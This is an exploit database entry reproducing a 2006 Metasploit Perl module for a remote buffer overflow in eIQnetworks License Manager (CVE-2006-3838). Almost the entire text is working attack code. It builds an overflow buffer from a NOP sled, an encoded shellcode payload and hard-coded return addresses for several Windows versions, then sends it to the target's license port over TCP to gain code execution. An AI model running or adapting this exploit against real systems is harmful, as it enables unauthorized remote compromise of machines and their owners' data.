Exploit eIQnetworks License Manager - Remote Buffer Overflow (Metasploit) (1)

[Exploiter]

EDB-ID

2074

Проверка EDB

1. Пройдено

Автор

RI0T

Тип уязвимости

REMOTE

Платформа

WINDOWS

CVE

cve-2006-3838

Дата публикации

2006-07-26

#!/usr/bin/perl -w

#metasploit module for EIQ Licence manager overflow Provided by ri0t of Bastard Labs

package Msf::Exploit::EiQ_License_1262; 
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {
	'Name'     => 'EIQ License Manager Overflow',
	'Authors'  => [ 'ri0t [email protected], KF [email protected]' ],

	'Arch'  => [ 'x86' ],
	'OS'    => [ 'win32', 'win2000', 'winxp' ],
	'Priv'  => 0,
	
	'AutoOpts'  => { 'EXITFUNC' => 'seh' },
	
	'UserOpts'  =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 10616],
	 },
        'Payload'  =>
	  {
		'Space' => 1262,
		'BadChars'  => "\x00\x0a\x0d\x40\x26",
            },
          'Description'  =>  Pex::Text::Freeform(qq{
	This module exploits the buffer overflow found in the LICMGR_ADDLICENSE
        Field of EIQ networks network analyser this module exploits buffers of 1262 bytes
	in size. This module should work on all rebranded eiq analysers.  Exploitation
	assistance from KF of digital munition.
        }),
          
          
        'DefaultTarget' => 1,
	'Targets' =>
	  [
	        ['Windows 2000 SP0-SP4 English', 0x750316e2],   # call ebx
		['Windows XP English SP1/SP2', 0x77db64dc ],	# jmp ebx
	        ['Windows Server 2003 English SP0/SP1', 0x77d16764 ],   # jmp ebx
	  ],
          
  };
  
  sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}
  
  sub Exploit {
	my $self = shift;
	my $target_host = $self->GetVar('RHOST');
	my $target_port = $self->GetVar('RPORT');
	my $target_idx  = $self->GetVar('TARGET');
	my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
	my $target      = $self->Targets->[$target_idx];
        my $nops 	= $self->MakeNops(1262 - length($shellcode));
        my $ret         =  pack("V", $target->[1]);
        my $evil        = "LICMGR_ADDLICENSE&" . $nops . $shellcode . $ret . "&";
	
            
        my $s = Msf::Socket::Tcp->new
	  (
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),
    	  );
          
          if ($s->IsError) {
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}
          $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return address 0x%.8x....", $target->[1]));
          
          $s->Send("$evil");
          return;
  }

# milw0rm.com [2006-07-26]